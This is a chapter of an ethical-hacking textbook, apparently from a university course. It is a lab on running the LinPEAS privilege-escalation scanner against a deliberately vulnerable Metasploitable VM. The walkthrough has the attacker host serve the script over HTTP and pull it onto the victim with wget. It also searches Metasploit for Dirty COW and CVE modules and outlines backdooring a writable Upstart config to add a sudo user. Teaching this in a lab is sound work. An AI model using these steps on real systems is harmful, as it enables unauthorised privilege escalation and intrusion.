65 Scanning and Enumeration – Privilege Escalation Awesome Scripts SUITE – New Generation (PEASS-ng)

Ella Lopez and Gunnar Snyder

The Privilege Escalation Awesome Scripts Suite, new generation (PEASS-ng), is a collection of tools designed to identify potential local privilege escalation paths in various operating systems. These tools search for system misconfigurations, vulnerable software, exploitable permissions, and other security weaknesses that could allow an attacker to escalate their privileges. LinPEAS tools are designed for Linux/Unix/MacOS, whereas WinPEAS tools are designed for Windows systems.

People have asked why we consider this lab as part of scanning and enumeration, because you can’t really use PEASS until you have gained access. The reality is that the phases of ethical hacking are not set in stone. Some people use a 5-phase model, a 7-phase, or even an 8-phase model and PEASS use would differ between the models. While PEASS requires some access to the target system, it uses that limited access to scan and enumerate, so that is where we place it in the textbook. Bottom line: when you work on this exercise, place yourself in a situation where you have already performed initial scanning and enumeration and gained access to your target, but now you are scanning and enumerating to gather more information.

Phase 0 – Professional Alignment

After gaining initial access to a system, cybersecurity professionals continue gathering information to identify opportunities for privilege escalation and further compromise. In this chapter, you will use the Privilege Escalation Awesome Scripts Suite – New Generation (PEASS-ng) to enumerate system configurations, identify potential privilege escalation vectors, and validate selected findings within a controlled laboratory environment. These activities demonstrate how post-compromise enumeration supports vulnerability assessment, penetration testing, and enterprise security validation.

DCWF Work Roles

The knowledge and skills developed in this chapter align with the following Department of Defense Cyber Workforce Framework (DCWF) work roles:

  • 461 – Vulnerability Assessment Analyst
  • 541 – Cyber Defense Analyst
  • 451 – System Security Analyst

NICE Work Roles

This chapter supports competencies associated with the following NICE Workforce Framework work roles:

  • Vulnerability Assessment Analyst
  • Penetration Tester
  • Cyber Defense Analyst

Professional Skills

By completing this chapter, you will begin developing the ability to:

  • Perform post-compromise system enumeration using PEASS-ng.
  • Identify potential privilege escalation vectors on Linux and Windows systems.
  • Evaluate operating system configurations for security weaknesses and misconfigurations.
  • Correlate enumeration findings with known vulnerabilities and exploitation techniques.
  • Validate selected privilege escalation opportunities within an authorized laboratory environment.
  • Document post-exploitation findings to support enterprise security assessments.

What You’ll Be Able to Do

After completing this chapter, you should be able to:

  • Use LinPEAS to enumerate a compromised Linux system for potential privilege escalation opportunities.
  • Interpret PEASS-ng output to identify high-confidence privilege escalation vectors.
  • Correlate enumeration findings with Metasploit modules and known vulnerabilities.
  • Validate selected privilege escalation opportunities within the Eagle Net environment.
  • Explain how post-compromise enumeration supports ethical penetration testing and vulnerability validation.
  • Document privilege escalation findings and recommend remediation strategies that reduce enterprise security risk.

Learning Objectives

  • Identify software and hardware characteristics of a cyber target
  • Use resources to identify potential vulnerabilities
  • Exploit one or more vulnerabilities to gain a reverse shell into the target system

Prerequisites

Deliverables

  • Two screenshots of different 95% PE vectors
  • Two screenshots of different Metasploit vulnerabilities

Resources

Contributors and Testers

  • Mathew J. Heath Van Horn, PhD
  • Kyle Wheaton, Cybersecurity Student, ERAU-Prescott

Phase I – Getting Started

PEASS is usually installed by default in Kali. This section walks you through checking and installing PEASS in the Kali Linux VM. It also walks through how to create files for later use. DON’T SKIP STEPS!
  1. BEFORE starting GNS3, navigate to VirtualBox
    1. Ensure the Kali VM network settings are set to NAT or NAT-Network
    2. Start the Kali VM
    3. Check if Kali has PEASS installed type

      peass –version

      1. You should get a version response
        Figure 1 - PEASS is installed
        Figure 1 – PEASS is installed
      2. If you get a message that it is not installed, then install it following these steps
        1. Update the Kali VM

          sudo apt update

        2. Upgrade the Kali VM

          sudo apt upgrade

        3. Install PEASS on the Kali VM

          sudo apt install peass

    4. Shutdown the Kali VM
    5. Change the network settings back to the generic driver
    6. Use Eagle Net as the baseline network environment for this lab
      1. Start all machines

        NOTE: Depending on how long you take on this lab, some machines might enter sleep mode and become unusable. If this occurs, simply stop the machines in GNS3, then start them up again.

      2. Ensure that the Kali and Metaspolitable boxes are all able to receive IP addresses
      3. Record the IP addresses for the VMs for later reference

Phase II – Using PEASS

Our target in this lab is the vulnerable Metasploitable Linux VM. In this section, we will create a reverse shell on our target to announce its presence to a listener we will build in Phase III. If you feel the need to log into the target machine directly, use the following credentials:
NAME: vagrant
PASSWORD: vagrant

  1. Navigate to your Kali VM
  2. Obtain your target’s IP address using Nmap or Zenmap, or just log in to the target.
    Figure 2 - our target VM is identified as 200.200.200.7
    Figure 2 – our target VM is identified as 200.200.200.7

    NOTE: your IPs will vary, but for the commands used in this walkthrough, our IPs are:
    – Vulnerable Target – Metasploitable-Linux 200.200.200.7
    – Kali Linux 100.100.100.5
    – Known credentials:
    – NAME: boba-fett
    – PASSWORD: mandalorian1

  3. Most people create an easy-to-reference directory for the linPEAS script. However, you can work out of the linPEAS directory if you choose. Perform the following to make a working directory
    1. Create the directory

      mkdir linpeas

    2. Copy the script to the directory

      cp /usr/share/peass/linpeas.sh ./linpeas

    3. Verify the file copied

      ls ./linpeas

       

      Figure 3 - the peass script has been copied
      Figure 3 – the peass script has been copied
  4. Use Nmap or Zenmap to perform a detailed scan of our target (200.200.200.7) to find vulnerabilities
    Figure 4 - detailed scan of target
    Figure 4 – detailed scan of the target
  5. Back at the terminal, try to SSH into our target using our known credentials (vagrant:vagrant)

    ssh boba_fett@200.200.200.7

    Figure 5 - successful ssh access to target machine
    Figure 5 – successful ssh access to target machine
  6. Check the user credentials by typing

    sudo -l

    Figure 6 - boba_fett does not have sudo access
    Figure 6 – boba_fett does not have sudo access
  7. The user boba-fett does not have sudo access
  8. Navigate to  the tmp directory

    cd /tmp

  9. See if you can create an empty file

    touch test.txt

  10. We can see that boba_fett can write to the tmp directory
    Figure 7 - boba_fett can write to the tmp directory
    Figure 7 – boba_fett can write to the tmp directory
  11. Open a new terminal and start a new HTTP server on the attacking machine
    1. Navigate to linpeas by typing

      linpeas

    2. Start the HTTP server

      python3 -m http.server 80

      Figure 8 start the http server
      Figure 8 start the http server
  12. Return to the SSH boba_fett terminal and copy the linpeas file from the attacking computer

    wget http://100.100.100.5/linpeas.sh

    Figure 9 copy linpeas from attacker to victim
    Figure 9 copy linpeas from attacker to victim
  13. Change the permissions for the copied file

    chmod +777 linpeas.sh

  14. Check the permissions

    ls -l

     

    Figure 10 check permissions
    Figure 10 check permissions
  15. Now run linpeas and redirect the output to a txt file

    ./linpeas.sh | tee result.txt

    Figure 11 run linpeas
    Figure 11 run linpeas

Phase III – Analysis

Now that we have run the tool, we need to look at the results for any possible exploitable (PE) vectors.  Thankfully, PEASS provides a color code for easy review and to prioritize your efforts:

RED/YELLOW: 95% this is a PE vector
RED: Worth looking into
LightCyan: Users who can log into the system
Blue: Users who can’t log into the system
Green: common background data
LightMagenta: Your username

  1. Open the text file we created by linpeas and press enter to get the start of the results

    cat result.txt

     

    Figure 10 - reading the text file
    Figure 12 – reading the text file
  2. You will want your terminal to be as large as possible
    1. Unsupported OS
      Figure 11 - unsupported OS
      Figure 13 – unsupported OS
    2. List of known CVEs
      Figure 12 - List of known CVEs
      Figure 14 – List of known CVEs
    3. Root owned, but still writable sockets
      Figure 13 - root-owned but writable sockets
      Figure 15 – root-owned but writable sockets
    4. List of users
      Figure 16 list of users
      Figure 16 list of users
    5. Users with sudo access
      Figure 17 list of users with sudo access
      Figure 17 list of users with sudo access

Phase IV – Use the information

There are so many exploits available in our target. We will explain two of them using two different techniques.

  1. The Sinatra exploit
    1. We can see that we can modify the /etc/init/sinatra.conf file
      Figure 16 - access to etc_init_sinatra_conf
      Figure 18 – access to etc_init_sinatra_conf
    2. A simple Google search reveals:
      1. Sinatra is a web application development tool
      2. Files in /etc/init are Upstart configuration files. Each file defines:
        • When a service should start (e.g., on boot, after another service, or immediately).
        • How it should be started, stopped, or restarted.
        • Conditions under which it should run (e.g., network availability, hardware state).
        • Actions to take when the service starts or stops.
      3. Upstart is a type of system initialization framework used in some Linux distributions where the startup and shutdown of services are triggered by specific events rather than a fixed sequence of commands
      4. With this information we could insert instructions to give us access to the system when Sinatra is started
        Figure 17 - we can change the startup script for sinatra
        Figure 18 – we can change the startup script for sinatra
      5. We can use AI to generate a script that would allow us to create a new user, with default passwords, and add them to the SUDO group
  2. Use metasploit
    1. Use any of the keywords we found in our linpeas and find metasploit tools that can take advantage of them
      1. Open a Metasploit prompt in our attacking machine

        msfconsole

      2. From our CVE list we see dirtycow so we perform a search

        search dirtycow

        Figure 18 - dirtycow search
        Figure 19 – dirtycow search
      3. We can even just search by our CVE numbers

        search CVE-2014-0038

        Figure 19 - search by CVE number
        Figure 19 – search by CVE number
      4. We can search for flagged services such as Docker

        search docker

        Figure 20 - search by service name 'docker'
        Figure 21 – search by service name ‘docker’
    2. Bottom line, using linpeas gives a nice summary of possible vulnerabilities that we can take advantage of. We just need to use our imagination and persistence

End of Lab

Deliverables

4 Screenshots needed:

  • Two screenshots of different 95% PE vectors
  • Two screenshots of different Metasploit vulnerabilities

Assignments

Assignment 1: Use Metasploit to gain a shell (or reverse shell) into the target Linux VM

RECOMMENDED GRADING CRITERA:

  • Screenshot of the linPEASS vulnerability identified that is used in Metasploit
  • Screenshot of the Metasploit attack tool used, including payload
  • Screenshot of the shell performing a simple task in the target machine (cat, ls, mkdir, etc..)

Assignment 2: Use the PEASS website to learn how to use winPEASS against our vulnerable Windows VM. Assume our initial recon revealed user vagrant and password vagrant. Use this information to perform a Metasploit attack.

RECOMMENDED GRADING CRITERIA:

  • Screenshot of the winPEASS vulnerably identified that is used in Metasploit
  • Screenshot of the Metasploit attack tool used, including payload
  • Screenshot of the shell performing a simple task in the target machine (cat, ls, mkdir, etc..)

Feedback email

 

License

Icon for the Creative Commons Attribution-NonCommercial 4.0 International License

Mastering Enterprise Networks 3e Copyright © 2024 by Mathew J. Heath Van Horn is licensed under a Creative Commons Attribution-NonCommercial 4.0 International License, except where otherwise noted.

Share This Book